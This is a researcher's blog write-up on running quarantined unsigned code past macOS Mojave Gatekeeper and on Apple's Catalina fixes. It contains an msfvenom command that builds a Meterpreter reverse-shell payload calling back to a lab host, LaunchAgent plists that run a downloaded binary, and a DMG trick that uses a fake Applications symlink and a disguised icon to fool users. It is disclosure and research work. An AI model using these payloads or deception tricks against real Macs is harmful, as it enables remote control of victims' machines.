GateKeeper - Bypass or not bypass?

TL;DR

On macOS Mojave Gatekeeper only verifies executables, which are run with the open command or the user double clicks. It won’t verify files, that are executed through other means like, directly executing a binary ./myapp regardless of the quarantine attribute. If you can place a plist file inside LaunchAgents/LaunchDaemons, the command inside will also be executed. Prior to Catalina there is a way to trick users to drag & drop files in the LaunchAgents folder. On macOS Catalina lot has changed, the most notable one regarding gatekeeper is that it will verify files when executed via classic ‘exec’ methods.

How it started?

When I did my research about embedding files in pkg files back in 2018, I had to verify if Gatekeeper will block my newly created unsigned PKG file or not. First I did a mistake at running it after packing, when I realised, that it’s not good as the file won’t have quarantine extended attribute and Gatekeeper will not check those. Then I downloaded it and instead of double clicking, I did:

chmod +x mypackage.pkg
./mypackage.pkg 

And it run. And I was like: WHAT?!?!?! Why could I run an unsigned PKG file if it has a quarantine attribute? Obviously I didn’t really understood at this point how Gatekeeper works, but more on that later. So I started to experiment, and see how can I run unsigned code.

The Mojave era

Preparation

I created a meterpreter in Kali linux for testing:

msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.120.132 LPORT=80 -f macho > m
[-] No platform was selected, choosing Msf::Module::Platform::OSX from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 808168 bytes
Final size of macho file: 808168 bytes

Then I started a HTTP server to simulate the download, and downloaded it to my macOS:

python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.120.1 - - [08/Feb/2019 08:27:12] "GET / HTTP/1.1" 200 -
192.168.120.1 - - [08/Feb/2019 08:27:13] code 404, message File not found
192.168.120.1 - - [08/Feb/2019 08:27:13] "GET /favicon.ico HTTP/1.1" 404 -
192.168.120.1 - - [08/Feb/2019 08:27:15] "GET /m HTTP/1.1" 200 -

If I check the file’s extended attributes it looks right:

xattr -l m
com.apple.metadata:kMDItemWhereFroms:
00000000  62 70 6C 69 73 74 30 30 A2 01 02 5F 10 1D 68 74  |bplist00…_..ht|
00000010  74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 32 30  |tp://192.168.120|
00000020  2E 31 33 32 3A 38 30 38 30 2F 6D 5F 10 1C 68 74  |.132:8080/m_..ht|
00000030  74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 32 30  |tp://192.168.120|
00000040  2E 31 33 32 3A 38 30 38 30 2F 08 0B 2B 00 00 00  |.132:8080/..+…|
00000050  00 00 00 01 01 00 00 00 00 00 00 00 03 00 00 00  |…………….|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 4A           |…………J|
0000006d
com.apple.quarantine: 0081;5c5d2f53;Chrome;4FFAAC3A-929D-45EB-ABEF-78B25C3CC15E

Experimenet #1

If I double click the file in Finder I get it blocked as expected:

If I try the open command it will be also blocked.

Experiment #2

But if I open Terminal, and set the file executable, I can run it without any issues:

chmod +x m
./m

And I get my shell:

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.120.132:80 
[*] Meterpreter session 1 opened (192.168.120.132:80 -> 192.168.120.1:53040) at 2019-02-08 08:32:06 +0100

Experiment #3

I create a launch plist file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.M</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/csaby/Downloads/m</string>
    </array>
       <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

If you can’t mark it executable:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.M</string>
    <key>ProgramArguments</key>
    <array>
        <string>bash</string>
        <string>-c</string>
        <string>chmod +x /Users/csaby/Downloads/m;/Users/csaby/Downloads/m</string>
    </array>
       <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

And run:

launchctl load test.plist

And I get my shell again.

Experiment #4

Make a C code to run a supplied program:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    system(argv[1]);
}
gcc hello.c -o h
./h /Users/csaby/Downloads/m

+1 Bonus: DYLD_INSERT_LIBRARIES

You can inject quarantine flagged binaries in Mojave, which in fact is pretty much expected. See my older post about how to perform this injection: DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX · theevilbit blog

$ ./test 
Hello from dylib!

$ xattr -l inject.dylib 
com.apple.metadata:kMDItemWhereFroms:
00000000  62 70 6C 69 73 74 30 30 A2 01 02 5F 10 22 68 74  |bplist00..._."ht|
00000010  74 70 3A 2F 2F 31 32 37 2E 30 2E 30 2E 31 3A 38  |tp://127.0.0.1:8|
00000020  30 38 30 2F 69 6E 6A 65 63 74 2E 64 79 6C 69 62  |080/inject.dylib|
00000030  5F 10 16 68 74 74 70 3A 2F 2F 31 32 37 2E 30 2E  |_..http://127.0.|
00000040  30 2E 31 3A 38 30 38 30 2F 08 0B 30 00 00 00 00  |0.1:8080/..0....|
00000050  00 00 01 01 00 00 00 00 00 00 00 03 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 49              |...........I|
0000006c
com.apple.quarantine: 0081;5d248e35;Chrome;CE4482F1-0AD8-4387-ABF6-C05A4443CAF4

Is this a bypass or not?

So at that point I wasn’t sure if this is a bypass or not, I was really confused. First I did a Google search about this, and no one talks about this as a Gatekeeper ‘bypass’, but it’s well known, to be able to execute files this way on macOS Mojave. Here are a few sites, that mention this:

macos - “XXX can’t be opened. You should move it to trash.” for flash projector applications on Mac os Sierra - Ask Different Mac Gatekeeper security prompt every time · Issue #7085 · bitcoin/bitcoin · GitHub OSX.Dummy new Mac malware targets the cryptocurrency community

It seemed that even Patrick Wardle is unsure if this counts or not (taken from the above post):

So I decided to ask Apple about this, they must know it for sure. I sent a report, and after a couple of weeks they decided that it’s normal behaviour.

What is Gatekeeper then?

Probably the closest you can get to understand it is by watching Patrick’s talk from Shmoocon 2016: ShmooCon 2016 Gatekeeper Exposed; Come, See, Conquer - Speaker Deck. Watch it, read it, won’t repeat it here :)

Although it’s not clearly stated everywhere, but I think the overall goal is prevent execution when users double-click applications downloaded from the Internet. If you go and grant execution rights, I think Apple assumes ‘advanced’ users in that case and will not deal with it. At least in Mojave. This is my take on it.

Abusing LaunchAgents

Now if we go back there is one clear way to execute anything on a macOS, without the need to grant executable rights, and that is dropping a file the the user’s LaunchAgent directory. Anything you put inside, will be executed, you can use bash to do your magic, drop files, etc. So I started to experiment if I can drop there a file.

Safari’s auto extract feature

I think it’s a well known feature of Apple’s Safari browser, that by default it will auto-extract archives. IMO this is super unsafe and everyone should disable it.

I started to see if I can go ahead and drop a file to the LaunchAgent folder of the user, utilising this functionality. I didn’t want to modify any default setting, obviously pointing the location to LaunchAgent folder would solve this right away, but no one on Earth does that, so let’s just be realistic.

Try & Fail 1 - use relative paths in ZIP

In a ZIP file you can use relative paths, so my first thought was to use that. It failed, here is how I prepared the file, and then where it was dropped.

Create test file, compress and cleanup.

mac:Downloads csaby$ echo test > ../Library/LaunchAgents/test.plist
mac:Downloads csaby$ zip test.zip ../Library/LaunchAgents/test.plist 
  adding: ../Library/LaunchAgents/test.plist (stored 0%)

mac:Downloads csaby$ rm ../Library/LaunchAgents/test.plist 

Download file, and check where it is dropped

mac:Downloads csaby$ ls ../Library/LaunchAgents/test.plist
ls: ../Library/LaunchAgents/test.plist: No such file or directory
mac:Downloads csaby$ ls Library/LaunchAgents/test.plist

Ok, it didn’t care about the traversal, my second thought was to use the tilde sign.

Prepare and cleanup.

mac:Downloads csaby$ echo test > ../Library/LaunchAgents/test.plist
mac:Downloads csaby$ rm test.zip 
mac:Downloads csaby$ zip test.zip ~/Library/LaunchAgents/test.plist 
  adding: Users/csaby/Library/LaunchAgents/test.plist (stored 0%)
mac:Downloads csaby$ rm ../Library/LaunchAgents/test.plist 

Download, and find it.

mac:Downloads csaby$ ls Library/LaunchAgents/test.plist
ls: Library/LaunchAgents/test.plist: No such file or directory
mac:Downloads csaby$ ls ~/Library/LaunchAgents/test.plist
ls: /Users/csaby/Library/LaunchAgents/test.plist: No such file or directory

So where it is?

mac:Downloads csaby$ cat test.zip 
PK
G_?N?5?;+Users/csaby/Library/LaunchAgents/test.plistUT	????\ux
                                                                 ?test
PK
G_?N?5?;+??Users/csaby/Library/LaunchAgents/test.plistUT???\ux
                                                              ?PKqj

Looks like zip replaced the ~ with the actual path.

mac:Downloads csaby$ ls Users/csaby/Library/LaunchAgents/test.plist 
Users/csaby/Library/LaunchAgents/test.plist

Why that happens? If we look at the archive utility settings, which is used to extract files, we got this:

So it seems, whatever we do, it will create the files there.

Symlinks worked once, maybe they could work again. Let’s create a symlink, a test file, add it to a zip file, and cleanup:

mac:Downloads csaby$ ln -s ../Library/LaunchAgents/ la
mac:Downloads csaby$ echo test > la/test.plist

mac:Downloads csaby$ ls -l la
lrwxr-xr-x  1 csaby  staff  24 Apr  4 09:17 la -> ../Library/LaunchAgents/

mac:Downloads csaby$ zip -y test.zip la
  adding: la (stored 0%)
mac:Downloads csaby$ zip -y test.zip la/test.plist 
  adding: la/test.plist (stored 0%)

mac:Downloads csaby$ rm la
mac:Downloads csaby$ rm ../Library/LaunchAgents/test.plist 

If we try to uncompress it know we get an error:

If we add just a symbolic link, it will be extracted, but anything inside that won’t be.

If we unzip it with unzip it also works:

mac:Downloads csaby$ ln -s ../Library/LaunchAgents/ la
mac:Downloads csaby$ zip -y test.zip la
  adding: la (stored 0%)
mac:Downloads csaby$ ls la/
com.google.keystone.agent.plist		com.google.keystone.xpcservice.plist	com.objectiveSee.blockblock.plist
mac:Downloads csaby$ 
mac:Downloads csaby$ rm la
mac:Downloads csaby$ cat test.zip 
PK
#K?N??7laUT	Q??\Q??\ux
                          ?../Library/LaunchAgents/PK
#K?N??7??laUTQ??\ux
                   ?PKHT

mac:Downloads csaby$ unzip test.zip 
Archive:  test.zip
    linking: la                      -> ../Library/LaunchAgents/ 
finishing deferred symbolic links:
  la                     -> ../Library/LaunchAgents/
mac:Downloads csaby$ ls la
com.google.keystone.agent.plist		com.google.keystone.xpcservice.plist	com.objectiveSee.blockblock.plist

Interestingly if we use the built in unzip command line utility it will follow symlinks when extracting:

mac:Downloads csaby$ echo test > la/test.plist
mac:Downloads csaby$ zip t.zip la/test.plist 
  adding: la/test.plist (stored 0%)
mac:Downloads csaby$ cat t.zip 
PK
la/test.plistUT	??\$??\ux
                         ?test
PK
??la/test.plistUT??\ux
                      ?PKSL

mac:Downloads csaby$ rm la/test.plist 

mac:Downloads csaby$ unzip t.zip 
Archive:  t.zip
 extracting: la/test.plist           

mac:Downloads csaby$ ls la
com.google.keystone.agent.plist		com.google.keystone.xpcservice.plist	com.objectiveSee.blockblock.plist	test.plist

However if we try to extract the above zip file with Archive Utility, it won’t follow symlinks, and will create a new folder:

mac:Downloads csaby$ ls la\ 2/
test.plist

Try & Fail 3 - CPIO archives

Doesn’t make a difference. Here is how you create a CPIO archive:

mac:Downloads csaby$ ls ../Library/LaunchAgents/test.plist | cpio -ov > test.cpio
../Library/LaunchAgents/test.plist
1 block

mac:Downloads csaby$ cat test.cpio 
0707077777770000011006440007650000240000010000001345133562600004300000000000../Library/LaunchAgents/test.plist0707070000000000000000000000000000000000010000000000000000000001300000000000TRAILER!!!

Even if you update the path with tilde, everything will be created in the Downloads folder.

Try & Fail 4 - Many Others

Nothing new here, basically just various combination of the above and trying to insert ../ paths in the middle, but no success overall, but spending countless of hours trying :)

In the meantime a Gatekeeper bypass came out that utilises symlinks, it’s a pretty neat idea, check it out here:

MacOS X GateKeeper Bypass

It was created by Filippo Cavallarin. The TL;DR version is: a symlink that points to an NFS share (starting with /net/) will be auto mounted. Any file on a file share is not subject to Gatekeeper check, thus any file from there could be executed. You can deliver a symlink in a ZIP file as discussed above.

Tricking users

After many trials it seems that auto-dropping a file to the LaunchAgents folder doesn’t work, or at lest I didn’t find a way. What if we trick the user to place the file there for us? Now, I think average Mac users won’t have a knowledge necessary to do it for us, so we need to provide a convenient and misleading way of doing that. The most obvious location I thought of is the ‘Drag & Drop’ look of mounted DMG file. I mean this (taken from the GNS3 2.1.17 DMG file):

What if we replace the app on the left with a plist file, and the link on the right pointing to LaunchAgents.

Replacing the link on the right is easy, just make this:

ln -s ~/Library/LaunchAgents/ Applications

It will look exactly the same as the real link above. This means that you can easily fake any link pointing anywhere, while the user will think that it actually points to the Applications folder.

Replacing the one at the left is also easy. Put there the plist file, and on the “Get Info” pane replace its icon with D&D a new image on the top left corner of the info pane, here:

Finally we get this:

If we tick the option “Hide Extension” on the Info pane and if Finder doesn’t have the “Show all filename extensions” setting enabled, we will actually see this:

Does it look legit? For me for sure it is! :) Now if you drag and drop the gecko from the left to the right, you actually drop the PLIST into the user’s LaunchDaemon’s folder. I’m not sure that the average user will notice that something went wrong, other than not being able to execute the application, and won’t see it.

However upon next reboot the command embedded in the plist file, will be executed. My example plist file is:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>gatekeeper_bypass</string>
	<key>ProgramArguments</key>
	<array>
		<string>/bin/bash</string>
		<string>-c</string>
		<string>echo Bypassed Gatekeeper! &gt; ~/bypass.txt</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
	<key>StartCalendarInterval</key>
	<dict/>
</dict>
</plist>

The command in the plist file will be executed by launchctl regardless the quarantine flag set.

Two useful resources if you want to build such DMG files:

Building Fancy DMG Images on Mac OS X GitHub - andreyvit/create-dmg: A shell script to build fancy DMGs

Protection

That’s easy, using Objective-See’s BlockBlock tool will alert us every time a new file is added to the Launch* folders, and will allow us blocking it. It can be downloaded from here:

Objective-See

Changes in macOS Catalina

macOS Catalina introduced number of changes regarding GateKeeper. If you are interested, watch Apple’s talk from WWDC 2019: Advances in macOS Security - WWDC 2019 - Videos - Apple Developer Here I will only highlight the main item involving GateKeeper. The most significant change is that GK will also verify applications, binaries when they are run from the command line, via classic ‘exec’ methods. This means that my previous experiments won’t really work anymore. Awesome! Interestingly Apple said that my previous report inspired them to implement this, and they mentioned me in their security advisory of Catalina:

I, by no means want to suggest that I discovered this bypass, as you saw that it was well documented, however likely it was only me who raised this as an issue to Apple.

The other protection they implemented was related my drag & drop trick. They modified Finder to disallow D&D into the user’s LaucnAgents folder.

IMO they should disallow the loading of PLIST files that has the quarantine flag present. Someone might find another way to drop there PLIST files, and in that case we are back to ground 0.

Malware using Qemu VM to run code on macOS

This is not related to my research in any way, however I found it pretty awesome trick to bypass GK. A malware was using Qemu, which is signed to run a custom VM, which will do crypto mining. A VM won’t allow you to access files on the machine, however you can still use the CPU power. Pretty clever :) Here is the full article: New Mac cryptominer Malwarebytes detects as Bird Miner runs by emulating Linux - Malwarebytes Labs | Malwarebytes Labs

Conclusion

I think GateKeeper is a good feature in macOS and although it’s not perfect, it keeps evolving, locking down the ability to run malicious / unsigned code less and less. I hope this post gave you some ideas and it clarified a bit when GK is invoked by the OS.